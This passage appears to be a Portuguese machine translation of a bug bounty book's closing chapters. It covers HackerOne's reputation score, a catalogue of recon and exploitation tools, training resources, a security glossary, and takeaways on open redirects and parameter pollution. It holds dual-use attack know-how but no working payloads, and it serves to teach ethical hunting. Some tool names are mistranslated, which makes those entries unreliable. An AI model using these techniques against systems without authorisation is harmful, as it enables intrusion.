Tudo o que você enviar, você deve estar preparado para apoiar e justificar para a empresa, outros hackers e você
mesmo. Não digo isso para assustá-lo, mas como um conselho que gostaria de ter começado. Quando comecei,
definitivamente enviei relatórios questionáveis porque só queria fazer parte do conselho e ser útil. No entanto, as
empresas são bombardeadas. É mais útil encontrar um bug de segurança totalmente reproduzível e relatá-lo
claramente.
Você pode estar se perguntando quem realmente se importa - deixe as empresas fazerem essa ligação e quem
se importa com o que os outros hackers pensam. Justo. Mas pelo menos no HackerOne, seus relatórios são
importantes - suas estatísticas são rastreadas e cada vez que você tem um relatório válido, ele é registrado em
seu Signal, uma estatística que varia de -10 a 7, que calcula a média do valor de seus relatórios:
• Enviar spam, você recebe -10 •

Enviar um não aplicável, você recebe -5
• Envie um informativo, você ganha 0 • Envie

um relatório resolvido, você ganha 7
Mais uma vez, quem se importa? Bem, o Signal agora é usado para determinar quem é convidado para programas
privados e quem pode enviar relatórios para programas públicos. Programas privados são tipicamente carne fresca
para hackers - são sites que estão apenas entrando no programa de recompensas por bugs e estão abrindo seu
site para um número limitado de hackers. Isso significa vulnerabilidades potenciais com menos concorrência.
Quanto a relatórios para outras empresas - use minha experiência como uma história de advertência.
Fui convidado para um programa privado e em um único dia encontrei oito vulnerabilidades.
No entanto, naquela noite, enviei um relatório para outro programa e recebi um N/A.
Isso aumentou meu sinal para 0,96. No dia seguinte, fui reportar à empresa privada novamente e recebi uma
notificação - meu Sinal estava muito baixo e eu teria que esperar 30 dias para reportar a eles e a qualquer outra
empresa que tivesse um requisito de Sinal de 1.0.
Isso foi péssimo! Embora ninguém mais tenha encontrado as vulnerabilidades que encontrei durante esse tempo,
elas poderiam ter encontrado, o que me custaria dinheiro. Todos os dias eu verificava se poderia relatar novamente.
Desde então, jurei melhorar meu Sinal e você também deveria!
Boa sorte na caça!

23. Ferramentas
Abaixo está uma lista completa de ferramentas que são úteis para caçar vulnerabilidades, em nenhuma
ordem específica. Embora alguns automatizem o processo de busca de vulnerabilidades, eles não devem
substituir o trabalho manual, a observação aguçada e o pensamento intuitivo.
Michiel Prins, co-fundador da Hackerone, merece um grande agradecimento por ajudar a contribuir com a
lista e fornecer conselhos sobre como usar as ferramentas de maneira eficaz.
Suíte Burp
https://portswigger.net/burp
O Burp Suite é uma plataforma integrada para testes de segurança e praticamente obrigatório quando
você está começando. Possui uma variedade de ferramentas que são úteis, incluindo:
• Um proxy de interceptação que permite inspecionar e modificar o tráfego para um site •

Um Spider com reconhecimento de aplicativo para rastreamento de conteúdo e funcionalidade (passiva
ou ativamente) • Um scanner da Web para automatizar a detecção de vulnerabilidades • Um repetidor
para manipular e reenviar solicitações individuais • Uma ferramenta de sequenciador para testar a
aleatoriedade dos tokens • Uma ferramenta de comparação para comparar solicitações e respostas
Bucky Roberts, do New Boston, tem uma série de tutoriais sobre o Burp Suite disponível em https://
vimeo.com/album/3510171, que fornece uma introdução ao Burp Suite.
Proxy ZAP
https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
O OWASP Zed Attack Proxy (ZAP) é uma plataforma de código aberto gratuita, baseada na comunidade,
semelhante ao Burp para testes de segurança. Ele também possui uma variedade de ferramentas, incluindo
Proxy, Repetidor, Scanner, Diretório/Arquivo Bruteforcer, etc. Ele também oferece suporte a complementos,
portanto, se você for um desenvolvedor, poderá criar funcionalidades adicionais. O site deles tem muitas
informações úteis para ajudá-lo a começar.
Ferramentas 206
Knockpy
https://github.com/guelfoweb/knock
Knockpy é uma ferramenta python projetada para iterar em uma enorme lista de palavras para identificar
subdomínios de uma empresa. A identificação de subdomínios ajuda a aumentar a superfície testável
de uma empresa e aumenta as chances de encontrar uma vulnerabilidade bem-sucedida.
Este é um repositório GitHub, o que significa que você precisará baixar o repositório (a página do
GitHub tem instruções de como) e precisa do Python instalado (eles testaram com a versão 2.7.6 e
recomendam o uso do Google DNS (8.8.8.8 | 8.8 .4.4).
HostileSubBruteforcer
https://github.com/nahamsec/HostileSubBruteforcer
Este aplicativo, escrito por @nahamsec (Ben Sadeghipour - cara legal!), fará força bruta para
subdomínios existentes e fornecerá o endereço IP, Host e se foi configurado corretamente, verificando
AWS, Github, Heroku, Shopify, Tumblr e Squarespace. Isso é ótimo para encontrar aquisições de
subdomínios.
Sublista3r
https://github.com/aboul3la/Sublist3r
De acordo com o README.md, o Sublist3r é uma ferramenta python projetada para enumerar
subdomínios de sites usando mecanismos de pesquisa. Ele ajuda os testadores de penetração e os
caçadores de bugs a coletar e reunir subdomínios para o domínio que estão visando. Atualmente, o
Sublist3r oferece suporte aos seguintes mecanismos de pesquisa: Google, Yahoo, Bing, Baidu e Ask.
Mais motores de busca podem ser adicionados no futuro. Sublist3r também reúne subdomínios usando
Netcraft, Virustotal, ThreatCrowd, DNSdumpster e PassiveDNS.
A ferramenta, subbrute, foi integrada ao Sublist3r para aumentar a possibilidade de encontrar mais
subdomínios usando bruteforce com uma lista de palavras aprimorada. O crédito vai para TheRook que
é o autor de subbrute.
crt.sh
https://crt.sh
Ferramentas 207
Um site de pesquisa para navegar nos logs de transações de certificados, revelando subdomínios
associados a certificados.
IPV4info.com
http://ipv4info.com
Este é um ótimo site que acabei de conhecer graças a Philippe Harewood (de novo!). Usando este site,
você pode encontrar domínios hospedados em um determinado servidor. Assim, por exemplo, inserir
yahoo.com fornecerá a faixa de IPs do Yahoo e todos os domínios servidos pelo mesmo
servidores.
SecLists
https://github.com/danielmiessler/SecLists
Embora tecnicamente não seja uma ferramenta em si, SecLists é uma coleção de vários tipos de listas
usadas durante o hacking. Isso inclui nomes de usuário, senhas, URLs, strings fuzzing, diretórios/
arquivos/subdomínios comuns, etc. O projeto é mantido por Daniel Miessler e Jason Haddix (Hacking
ProTips #5 convidado)
XSSHunter
https://xsshunter.com
XSSHunter é uma ferramenta desenvolvida por Matt Bryant1 (anteriormente da equipe de segurança do
Uber), que ajuda a encontrar vulnerabilidades XSS cegas ou XSS que você não vê disparar por qualquer
motivo. Depois de se inscrever no XSSHunter, você obtém um domínio curto xss.ht especial que
identifica seu XSS e hospeda sua carga útil. Quando o XSS disparar, ele coletará automaticamente
informações sobre onde ocorreu e enviará uma notificação por e-mail.
sqlmap
http://sqlmap.org 1https://
twitter.com/iammandatory
Ferramentas 208
O sqlmap é uma ferramenta de penetração de código aberto que automatiza o processo de detecção e
exploração de vulnerabilidades de injeção SQL. O site tem uma lista enorme de recursos, incluindo suporte para:
• Uma ampla gama de tipos de banco de dados (por exemplo, MySQL, Oracle, PostgreSQL, MS SQL Server,
etc)
• Seis técnicas de injeção de SQL (por exemplo, cego baseado em booleano, cego baseado em tempo,
baseado em erro, baseado em consulta UNION, etc.) • Enumeração de usuários, hashes de senha,
privilégios, funções, bancos de dados, tabelas e colunas • E muito mais
De acordo com Michiel Prins, o sqlmap é útil para automatizar a exploração de vulnerabilidades de injeção SQL
para provar que algo é vulnerável, economizando muito trabalho manual.
Semelhante ao Knockpy, o sqlmap depende do Python e pode ser executado em sistemas baseados em
Windows ou Unix.
Nmap
https://nmap.org
O Nmap é um utilitário gratuito e de código aberto para descoberta de rede e auditoria de segurança.
De acordo com seu site, o Nmap usa pacotes IP brutos de novas maneiras para determinar: - Quais hosts estão
disponíveis em uma rede - Quais serviços (nome e versão do aplicativo) esses hosts estão oferecendo - Quais
sistemas operacionais (e versões) eles estão executando - Quais tipos de filtros de pacotes/firewalls estão em
uso - E muito mais
O site Nmap possui uma lista robusta de instruções de instalação com suporte para Windows, Mac e Linux.
Testemunha ocular
https://github.com/ChrisTruncer/EyeWitness
O EyeWitness foi projetado para fazer capturas de tela de sites, fornecer algumas informações de cabeçalho do
servidor e identificar credenciais padrão, se possível. É uma ótima ferramenta para detectar quais serviços estão
sendo executados em portas HTTP e HTTPS comuns e pode ser usado com outras ferramentas como o Nmap
para enumerar rapidamente alvos de hackers.
Ferramentas 209
testemunha
https://github.com/sensepost/gowitness
gowitness é um utilitário de captura de tela do site escrito em Golang, que usa o Chrome Headless para gerar
capturas de tela de interfaces da Web usando a linha de comando. O Linux e o macOS são suportados, com
o suporte do Windows 'funcionando parcialmente'.
Vai buster
https://github.com/oj/gobuster
Gobuster é uma ferramenta usada para URIs de força bruta (diretórios e arquivos) em sites da Web e
subdomínios DNS (com suporte a curingas).
Sim
https://github.com/tomnomnom/meg
meg é uma ferramenta para buscar muitos URLs, mas ainda ser 'agradável' para os servidores. Ele pode ser
usado para buscar muitos caminhos para muitos hosts; buscar um caminho para todos os hosts antes de
passar para o próximo caminho e repetir. Você obtém muitos resultados rapidamente, mas nenhum dos hosts
individuais é inundado com tráfego.
shodan
https://www.shodan.io
Shodan é o motor de busca na Internet de “Coisas”. De acordo com o site, você pode “usar o Shodan para
descobrir quais dos seus dispositivos estão conectados à internet, onde estão localizados e quem os está
usando”. Isso é particularmente útil quando você está explorando um alvo em potencial e tentando aprender o
máximo possível sobre a infraestrutura de alvos.
Combinado com isso, há um prático plug-in do Firefox para Shodan, que permite acessar rapidamente as
informações de um domínio específico. Às vezes, isso revela as portas disponíveis que você pode passar para
o Nmap.
Ferramentas 210
Censys
https://censys.io
O Censys é um mecanismo de busca que permite aos pesquisadores fazer perguntas sobre os
hosts e as redes que compõem a Internet. O Censys coleta dados em hosts e sites por meio de
varreduras ZMap e ZGrab diárias do espaço de endereço IPV4, mantendo um banco de dados de
como os hosts e sites são configurados.
Qual CMS
http://www.whatcms.org
What CMS é um aplicativo simples que permite que você insira um URL do site e retornará o
provável Sistema de gerenciamento de conteúdo que o site está usando. Isso é útil por alguns motivos:
• Saber qual CMS um site está usando fornece informações sobre como o código do site é
estruturada
• Se o CMS for de código aberto, você pode procurar vulnerabilidades no código e testá-las
no site
• Se você puder determinar o código da versão do CMS, é possível que o site esteja
desatualizado e vulnerável a vulnerabilidades de segurança divulgadas
construído com
http://builtwith.com
BuiltWith é uma ferramenta interessante que o ajudará a identificar diferentes tecnologias usadas
em um determinado alvo. De acordo com seu site, abrange mais de 18.000 tipos de tecnologias
de internet, incluindo análises, hospedagem, qual CMS, etc.
Ninguém
https://cirt.net/nikto2
Nikto é um scanner de servidor da Web de código aberto que testa vários itens em servidores,
incluindo:
Ferramentas 211
• Arquivos/programas potencialmente perigosos •

Versões desatualizadas de servidores • Problemas
específicos de versão • Verificação de itens de
configuração do servidor
De acordo com Michiel, o Nikto é útil para encontrar arquivos ou diretórios que não deveriam estar disponíveis (por
exemplo, um arquivo de backup SQL antigo ou dentro de um repositório git)
Recon de
https://bitbucket.org/LaNMaSteR53/recon-ng
De acordo com sua página, o Recon-ng é uma estrutura completa de reconhecimento da Web escrita em Python.
Ele fornece um ambiente poderoso no qual o reconhecimento baseado na Web de código aberto pode ser conduzido
de forma rápida e completa.
Infelizmente, ou felizmente, dependendo de como você deseja vê-lo, o Recon-ng fornece tantas funcionalidades
que não posso descrevê-las adequadamente aqui. Ele pode ser usado para descoberta de subdomínio, descoberta
de arquivos confidenciais, enumeração de nome de usuário, raspagem de sites de mídia social, etc.
GitRobGenericName
https://github.com/michenriksen/gitrob
O Gitrob é uma ferramenta de linha de comando que pode ajudar organizações e profissionais de segurança a
encontrar informações confidenciais remanescentes em arquivos disponíveis publicamente no GitHub. A ferramenta
será usada em todas as organizações públicas e repositórios de membros e fará a correspondência de nomes de
arquivos com uma variedade de padrões de arquivos que geralmente contêm informações confidenciais ou perigosas.
CyberChef
https://gchq.github.io/CyberChef/
O CyberChef é um canivete suíço que fornece todos os tipos de ferramentas de codificação/decodificação. Ele
também fornece funcionalidade para salvar uma lista de favoritos, baixar resultados, entre muitas outras coisas.
Ferramentas 212
OnlineHashCrack.com
www.onlinehashcrack.com
Online Hash Crack é um serviço online que tenta recuperar suas senhas (hashes como MD5, NTLM,
Wordpress, etc), seus dumps WPA (apertos de mão) e seus arquivos criptografados do MS Office
(obtidos legalmente). É útil para ajudar a identificar que tipo de hash é usado se você não souber,
suportando a identificação de mais de 250 tipos de hash.
idb
http://www.idbtool.com
idb é uma ferramenta para ajudar a simplificar algumas tarefas comuns para avaliações e pesquisas de segurança de
aplicativos iOS. Está hospedado no GitHub.
Wireshark
https://www.wireshark.org
Wireshark é um analisador de protocolo de rede que permite que você veja o que está acontecendo
em sua rede em detalhes. Isso é mais útil quando um site não está apenas se comunicando por
HTTP/HTTPS. Se você está começando, pode ser mais benéfico ficar com o Burp Suite se o site
estiver se comunicando apenas por HTTP/HTTPS.
localizador de balde
https://digi.ninja/files/bucket_finder_1.1.tar.bz2
Uma ferramenta interessante que pesquisará baldes legíveis e listará todos os arquivos neles. Ele
também pode ser usado para localizar rapidamente buckets que existem, mas negam acesso a
arquivos de listagem - nesses buckets, você pode testar a escrita usando a AWS CLI e descrito no
Exemplo 6 do Capítulo Autenticação - Como invadi os Buckets do HackerOne S3.
Corra na Web
https://github.com/insp3ctre/race-the-web
Ferramentas 213
Uma ferramenta mais recente que testa as condições de corrida em aplicativos da Web enviando um número
especificado de solicitações do usuário para uma URL de destino (ou URLs) simultaneamente e, em seguida,
compara as respostas do servidor quanto à exclusividade. Inclui várias opções de configuração.
Google idiotas
https://www.exploit-db.com/google-hacking-database
Google Dorking refere-se ao uso de sintaxes avançadas fornecidas pelo Google para encontrar informações que
não estão prontamente disponíveis. Isso pode incluir encontrar arquivos vulneráveis, oportunidades para
carregamento de recursos externos, etc.
JD GUI
https://github.com/java-decompiler/jd-gui
JD-GUI é uma ferramenta que pode ajudar na exploração de aplicativos Android. É um utilitário gráfico autônomo
que exibe fontes Java de arquivos CLASS. Embora eu não tenha muita experiência com essa ferramenta (ainda),
ela parece promissora e útil.
Estrutura de segurança móvel
https://github.com/ajinabraham/Mobile-Security-Framework-MobSF
Esta é outra ferramenta útil para hacking móvel. É uma estrutura de teste de penetração inteligente e completa para
aplicativos móveis de código aberto (Android/iOS), capaz de executar análises estáticas e dinâmicas e testes de
API da web.
Ysoserial
https://github.com/frohoff/ysoserial
Uma ferramenta de prova de conceito para gerar cargas úteis que exploram a desserialização insegura de objetos
Java
Ferramentas 214
Plug-ins do Firefox
Esta lista é em grande parte graças ao post do Infosecinstitute disponível aqui: InfosecInstitute2
FoxyProxyGenericName
FoxyProxy é um complemento avançado de gerenciamento de proxy para o navegador Firefox. Ele melhora os
recursos de proxy integrados do Firefox.
Alternador de agente de usuário
Adiciona um botão de menu e barra de ferramentas no navegador. Sempre que você quiser mudar o agente do
usuário, use o botão do navegador. O complemento User Agent ajuda a falsificar o navegador durante a execução
de alguns ataques.
Firebug
Firebug é um bom complemento que integra uma ferramenta de desenvolvimento web dentro do navegador. Com
esta ferramenta, você pode editar e depurar HTML, CSS e JavaScript ao vivo em qualquer página da Web para
ver o efeito das alterações. Ele ajuda na análise de arquivos JS para encontrar vulnerabilidades XSS.
hackbar
Hackbar é uma ferramenta de penetração simples para o Firefox. Ajuda no teste de injeção SQL simples e buracos
XSS. Você não pode executar explorações padrão, mas pode usá-lo facilmente para testar se existe vulnerabilidade
ou não. Você também pode enviar dados de formulário manualmente com solicitações GET ou POST.
Websecurify
O WebSecurify pode detectar as vulnerabilidades mais comuns em aplicativos da web. Essa ferramenta pode
detectar facilmente XSS, injeção de SQL e outras vulnerabilidades de aplicativos da web.
2resources.infosecinstitute.com/use-firefox-browser-as-a-penetration-testing-tool-with-these-add-ons
Ferramentas 215
Gerenciador de Cookies+
Permite visualizar, editar e criar novos cookies. Ele também mostra informações extras sobre cookies,
edita vários cookies de uma só vez, faz backup e restaura cookies, etc.
XSS eu
XSS-Me é usado para encontrar vulnerabilidades XSS refletidas de um navegador. Ele verifica todos os
formulários da página e, em seguida, executa um ataque nas páginas selecionadas com cargas XSS
pré-definidas. Após a conclusão da verificação, ela lista todas as páginas que renderizam uma carga útil
na página e podem estar vulneráveis a XSS. Com esses resultados, você deve confirmar manualmente
as vulnerabilidades encontradas.
Pesquisa Offsec Exploit-db
Isso permite pesquisar vulnerabilidades e explorações listadas em exploit-db.com. Este site está sempre
atualizado com as últimas explorações e detalhes de vulnerabilidade.
Wappalyzer
https://addons.mozilla.org/en-us/firefox/addon/wappalyzer/
Esta ferramenta irá ajudá-lo a identificar as tecnologias usadas em um site, incluindo coisas como
CloudFlare, Frameworks, Javascript Libraries, etc.
24. Recursos
Treinamento on-line
Explorações e defesas de aplicativos da Web
Um codelab com um webapp vulnerável real e tutoriais para você trabalhar para descobrir
vulnerabilidades comuns, incluindo XSS, Privilege Escalation, CSRF, Path Traversal e muito mais.
Encontre-o em https://google-gruyere.appspot.com
O banco de dados de exploração
Embora não seja exatamente um treinamento on-line, este site inclui explorações para
vulnerabilidades descobertas, muitas vezes vinculando-as a CVEs sempre que possível. Embora
o uso do código real fornecido deva ser feito com extremo cuidado, pois pode ser destrutivo, isso é
útil para encontrar vulnerabilidades se um alvo estiver usando software fora do site e a leitura do
código é útil para entender que tipo de entrada pode ser fornecida para explorar um site.
Udacity
Cursos de aprendizagem on-line gratuitos em uma variedade de assuntos, incluindo programação

e desenvolvimento web. Eu recomendo verificar: Introdução ao HTML e CSS1 Noções básicas de
Javascript2
Plataformas de recompensas de bugs
Hackerone.com
Criado por líderes de segurança do Facebook, Microsoft e Google, o HackerOne é a primeira

plataforma de coordenação de vulnerabilidades e recompensas por bugs. 1https://www.udacity.com/
course/intro-to-html-and-css--ud304 2https://www.udacity.com/course/javascript-basics--ud804
Recursos 217
bugcrowd.com
Do sertão ao vale, a Bugcrowd foi fundada em 2012 para equilibrar as chances contra os bandidos.
Synack.com
Uma plataforma privada que oferece experiência em segurança aos clientes. A participação requer aprovação,
mas é definitivamente o processo de inscrição. Os relatórios são normalmente resolvidos e recompensados em
24 horas.
Cobalt.io
Uma plataforma de recompensas por bugs que também possui um grupo principal de pesquisadores trabalhando
em programas privados.
Tutoriais em vídeo
youtube.com/yaworsk1
Eu seria negligente se não incluísse meu canal no YouTube. Comecei a gravar tutoriais sobre como encontrar
vulnerabilidades para ajudar a complementar este livro.
Seccasts.com
Em seu site, o SecCasts é uma plataforma de treinamento em vídeo de segurança que oferece tutoriais que vão
desde técnicas básicas de hacking na Web até tópicos de segurança aprofundados em uma linguagem ou
estrutura específica.
Como Tirar Web
Embora tecnicamente não seja um tutorial em vídeo, a apresentação de Jason Haddix (convidado do Hacking
ProTips #5) da DefCon 23 fornece uma visão incrível sobre como se tornar um hacker melhor. Ele baseou o
material em seu próprio hacking (ele era o número 1 no Bugcrowd antes de se juntar a eles) e pesquisou a
leitura de postagens de blog e divulgações de outros hackers importantes.
Recursos 218
Leitura adicional
OWASP.com
O Open Web Application Security Project é uma fonte massiva de informações sobre
vulnerabilidades. Eles têm uma seção Security101 conveniente, folhas de dicas, guia de teste
e descrições detalhadas sobre a maioria dos tipos de vulnerabilidade.
Hackerone.com/hacktivity
Uma lista de todas as vulnerabilidades relatadas em seu programa de recompensas. Embora

apenas alguns relatórios sejam públicos, você pode usar meu script no GitHub para extrair
todas as divulgações públicas (https://github.com/yaworsk/hackerone_scrapper).
https://bugzilla.mozilla.org
Sistema de rastreador de bugs da Mozilla. Isso inclui todos os problemas relacionados à

segurança relatados ao programa de recompensas de bugs. Este é um ótimo recurso para ler
sobre o que foi encontrado e como a Mozilla lidou com isso, incluindo encontrar áreas onde a
correção pode não ter sido concluída.
Twitter #infosec e #bugbounty
Apesar de muito barulho, há muitos tweets interessantes relacionados a segurança/

vulnerabilidade com #infosec e #bugbounty, geralmente com links para descrições detalhadas.
Twitter @diclosedh1
O observador de divulgação pública não oficial do HackerOne, que tuíta bugs recentemente
divulgados.
Manual de hackers de aplicativos da Web
O título deve dizer tudo. Escrito pelos criadores do Burp Suite, esta é realmente uma leitura
obrigatória.
Recursos 219
Metodologia Caçadores de Bugs
Este é um repositório do GitHub de Jason Haddix (convidado do Hacking ProTips nº 5) e

fornece uma visão incrível sobre como os hackers de sucesso abordam um alvo.
Está escrito em MarkDown e é um subproduto da apresentação DefCon 23 How to Shot Web
de Jason. Você pode encontrá-lo em https://github.com/jhaddix/tbhm.
Blogs recomendados
philippeharewood.com
Blog de um incrível hacker do Facebook que compartilha uma quantidade incrível de

informações sobre como encontrar falhas lógicas no Facebook. Tive a sorte de entrevistar
Philippe em abril de 2016 e não posso deixar de enfatizar o quão inteligente ele é e seu blog
incrível - eu li todos os posts.
Página do Philippe no
Facebook - www.facebook.com/phwd-113702895386410
Outro recurso incrível de Philippe. Isso inclui uma lista de recompensas de bugs do Facebook.
fin1te.net
Blog do Programa Whitehat do Facebook em segundo lugar nos últimos dois anos (2015,
2014). Jack não parece postar muito, mas quando o faz, as divulgações são detalhadas e
informativas!
NahamSec.com
Blog do hacker nº 26 (em fevereiro de 2016) no HackerOne. Muitas vulnerabilidades legais

descritas aqui - observe que a maioria das postagens foi arquivada, mas ainda está disponível
no site.
Recursos 220
blog.it-securityguard.com
Blog pessoal de Patrik Fehrehbach. Patrik encontrou várias vulnerabilidades interessantes e de

alto impacto, detalhadas neste livro e em seu blog. Ele também foi o segundo entrevistado do
Hacking Pro Tips.
blog.innerht.ml
Outro blog incrível de um dos principais hackers do HackerOne. Filedescriptor encontrou alguns
bugs no Twitter com pagamentos incrivelmente altos e suas postagens, embora técnicas, são
detalhadas e muito bem escritas!
blog.orange.tw
Blog de um hacker Top DefCon com links para toneladas de recursos valiosos.
Blog do Portswigger
Blog dos desenvolvedores do Burp Suite. ALTAMENTE RECOMENDADO
Blog do Nvisium
Ótimo blog de uma empresa de segurança. Eles encontraram a vulnerabilidade Rails RCE discutida
e blogada sobre como encontrar vulnerabilidades com Flask/Jinja2 quase duas semanas antes de
o Uber RCE ser encontrado.
blog.zsec.uk
Blog do hacker número 1 do PornHub em 7 de junho de 2016.
brutelogic.com.br
Blog do hacker brasileiro @brutelogic. Isso tem algumas dicas e truques incrivelmente detalhados
para ataques XSS. @brutelogic é um hacker talentoso com um portfólio incrível de divulgações
XSS em https://www.openbugbounty.org/researchers/Brute/
Recursos 221
lcamtuf.blogspot.ca
O blog de Michal Zalewski (Google), que inclui alguns tópicos mais avançados, ótimos
para se familiarizar com tópicos avançados. Ele também é o autor de The Tangled
Web.
Blog da Multidão de Insetos
Bug Crowd publica um ótimo conteúdo, incluindo entrevistas com hackers incríveis e
outros materiais informativos. Jason Haddix também iniciou recentemente um podcast
de hackers que você pode encontrar no blog.
Blog HackerOne
O HackerOne também publica conteúdo útil para hackers, como blogs recomendados,
novas funcionalidades na plataforma (bom lugar para procurar novas vulnerabilidades!)
e dicas sobre como se tornar um hacker melhor.
Folhas de dicas
• Path Traversal Cheat Sheet Linux - https://www.gracefulsecurity.com/path-traver

sal-cheat-sheet-linux/
• XXE - https://www.gracefulsecurity.com/xxe-cheatsheet/ •
Folha de dicas de segurança HTML5 - https://html5sec.org/ •
Folha de dicas Brute XSS - http://brutelogic.com.br/blog/cheat -sheet/ • XSS
Polyglots - http://polyglot.innerht.ml/ • MySQL SQL Injection Cheat Sheet -
http://pentestmonkey.net/cheat-sheet/sql-injec tion/mysql-sql-injection-cheat-sheet • AngularJS
Sandbox Bypass Collection (Inclui 1.5.7) - http://pastebin.com/xMXwsm0N
25. Glossário
hacker de chapéu preto
Um Black Hat Hacker é um hacker que “viola a segurança do computador por pouca razão além
da malícia ou para ganho pessoal” (Robert Moore, 2005, Cybercrime).
Os Black Hats também são chamados de “crackers” dentro da indústria de segurança e dos
programadores modernos. Esses hackers geralmente executam ações maliciosas para destruir,
modificar ou roubar dados. Isso é o oposto de um White Hat Hacker.
estouro de buffer
Um estouro de buffer é uma situação em que um programa que grava dados em um buffer ou
área de memória tem mais dados para gravar do que o espaço realmente alocado para essa
memória. Como resultado, o programa acaba gravando na memória, o que não deveria.
Programa de recompensas para bugs
Um acordo oferecido por sites em que os hackers de chapéu branco podem receber
reconhecimento ou compensação por relatar bugs, particularmente vulnerabilidades relacionadas
à segurança. Exemplos incluem HackerOne.com e Bugcrowd.com
Relatório de erro
A descrição de um pesquisador de uma possível vulnerabilidade de segurança em um

determinado produto ou serviço.
Injeção CRLF
CRLF, ou Carriage Return Line Feed, Injection é um tipo de vulnerabilidade que ocorre quando
um usuário consegue inserir um CRLF em um aplicativo. Às vezes, isso também é chamado de
Divisão de Resposta HTTP.
Glossário 223
Falsificação de solicitação entre sites
Um ataque Cross Site Request Forgery, ou CSRF, ocorre quando um site malicioso, e-mail,
mensagem instantânea, aplicativo etc. faz com que o navegador da web de um usuário
execute alguma ação em outro site onde esse usuário já está autenticado ou conectado.
Script entre sites
Cross site scripting, ou XSS, envolve um site que inclui um código Javascript não intencional
que é posteriormente repassado aos usuários que executam esse código por meio de seus
navegadores.
Injeção de HTML
A injeção de linguagem de marcação de hipertexto (HTML), às vezes também chamada de

desfiguração virtual, é na verdade um ataque a um site possibilitado ao permitir que um
usuário mal-intencionado injete HTML no site por não manipular a entrada desse usuário
adequadamente.
Poluição do parâmetro HTTP
Poluição de parâmetro HTTP, ou HPP, ocorre quando um site aceita entrada de um usuário
e a usa para fazer uma solicitação HTTP para outro sistema sem validar a entrada desse
usuário.
Divisão de resposta HTTP
Outro nome para CRLF Injection, onde um usuário mal-intencionado é capaz de injetar
cabeçalhos em uma resposta do servidor.
Corrupção de memória
A corrupção de memória é uma técnica usada para expor uma vulnerabilidade fazendo com
que o código execute algum tipo de comportamento incomum ou inesperado. O efeito é
semelhante a um estouro de buffer em que a memória é exposta quando não deveria.
Glossário 224
Abrir redirecionamento
Um redirecionamento aberto ocorre quando um aplicativo pega um parâmetro e redireciona um

usuário para esse valor de parâmetro sem realizar nenhuma validação no valor.
Teste de penetração
Um ataque de software em um sistema de computador que procura pontos fracos de segurança,

potencialmente obtendo acesso aos recursos e dados do computador. Isso pode incluir testes
legítimos ou endossados pela empresa ou testes ilegítimos para fins nefastos.
Pesquisadores
Também conhecidos como hackers de chapéu branco. Qualquer pessoa que tenha investigado
um possível problema de segurança em alguma forma de tecnologia, incluindo pesquisadores
acadêmicos de segurança, engenheiros de software, administradores de sistema e até mesmo
tecnólogos casuais.
Equipe de resposta
Uma equipe de indivíduos responsáveis por abordar problemas de segurança descobertos em um

produto ou serviço. Dependendo das circunstâncias, pode ser uma equipe de resposta formal de
uma organização, um grupo de voluntários em um projeto de código aberto ou um painel
independente de voluntários.
Divulgação Responsável
Descrever uma vulnerabilidade enquanto permite que uma equipe de resposta tenha um período
de tempo adequado para lidar com a vulnerabilidade antes de torná-la pública.
Vulnerabilidade
Um bug de software que permitiria que um invasor executasse uma ação que violasse uma política
de segurança expressa. Um bug que permite acesso ou privilégio escalado é uma vulnerabilidade.
Falhas de design e falhas na adesão às práticas recomendadas de segurança podem ser
consideradas vulnerabilidades.
Glossário 225
Coordenação de Vulnerabilidade
Um processo para todas as partes envolvidas trabalharem juntas para lidar com uma vulnerabilidade.
Por exemplo, uma pesquisa (hacker de chapéu branco) e uma empresa no HackerOne ou um
pesquisador (hacker de chapéu branco) e uma comunidade de código aberto.
Divulgação de Vulnerabilidade
Uma divulgação de vulnerabilidade é a liberação de informações sobre um problema de segurança

do computador. Não há diretrizes universais sobre divulgações de vulnerabilidades, mas os
programas de recompensas de bugs geralmente têm diretrizes sobre como as divulgações devem
ser tratadas.
Hacker de Chapéu Branco
Um White Hat Hacker é um hacker ético cujo trabalho visa garantir a segurança de uma organização.
White Hat's são ocasionalmente referidos como testadores de penetração. Isso é o oposto de um
Black Hat Hacker.
26. Apêndice A - Retiradas

Redirecionamentos abertos
Nem todas as vulnerabilidades são complexas. Esse redirecionamento aberto exigia apenas a alteração
do parâmetro domain_name para um site externo, o que resultaria no redirecionamento de um usuário
para fora do site da Shopify.
Os parâmetros de redirecionamento nem sempre podem ser rotulados de forma óbvia, pois os
parâmetros serão nomeados de maneira diferente de site para site ou até mesmo dentro de um site. Em
alguns casos, você pode até descobrir que os parâmetros são rotulados com apenas caracteres únicos,
como r= ou u=. Ao procurar redirecionamentos abertos, fique atento aos parâmetros de URL que incluem
as palavras URL, redirecionamento, próximo e assim por diante. que pode denotar caminhos para os
quais os sites direcionarão os usuários.
Além disso, se você puder controlar apenas uma parte da URL final retornada pelo site, por exemplo,
apenas o valor do parâmetro checkout_url e observar que o parâmetro está sendo combinado com uma
URL codificada no back-end do site, como o URL da loja http://mystore.myshopify.com, tente adicionar
caracteres de URL especiais como um ponto ou @ para alterar o significado do URL e redirecionar um
usuário para outro domínio.
Ao pesquisar vulnerabilidades, observe os serviços que um site usa, pois cada um deles representa
novos vetores de ataque. Aqui, essa vulnerabilidade foi possível graças à combinação do uso do
Zendesk pelo HackerOne e o redirecionamento conhecido que eles permitiam.
Além disso, à medida que você encontra bugs, haverá momentos em que as implicações de segurança
não serão prontamente compreendidas pela pessoa que está lendo e respondendo ao seu relatório.
É por isso que tenho um capítulo sobre Relatórios de Vulnerabilidade que aborda detalhes para incluir
em um relatório, como construir relacionamentos com empresas e outras informações. Se você fizer um
pouco de trabalho antecipadamente e explicar respeitosamente as implicações de segurança em seu
relatório, isso ajudará a garantir uma resolução mais tranquila.
Mas, mesmo assim, haverá momentos em que as empresas não concordam com você.
Se for esse o caso, continue cavando como Mahmoud fez e veja se você pode provar a exploração ou
combiná-la com outra vulnerabilidade para demonstrar a eficácia.
Apêndice A - Retiradas 227
Poluição do parâmetro HTTP
Esteja atento a oportunidades quando os sites aceitam conteúdo e parecem estar entrando em
contato com outro serviço da web, como sites de mídia social, e contando com a URL atual para
gerar o link para criar uma postagem compartilhada.
Nessas situações, pode ser possível que o conteúdo enviado esteja sendo transmitido sem passar
pelas verificações de segurança adequadas, o que pode levar a vulnerabilidades de poluição de
parâmetros.
Embora seja uma breve descrição, os esforços de Mert demonstram a importância da persistência
e do conhecimento. Se ele tivesse se afastado da vulnerabilidade após alterar o UID para outro
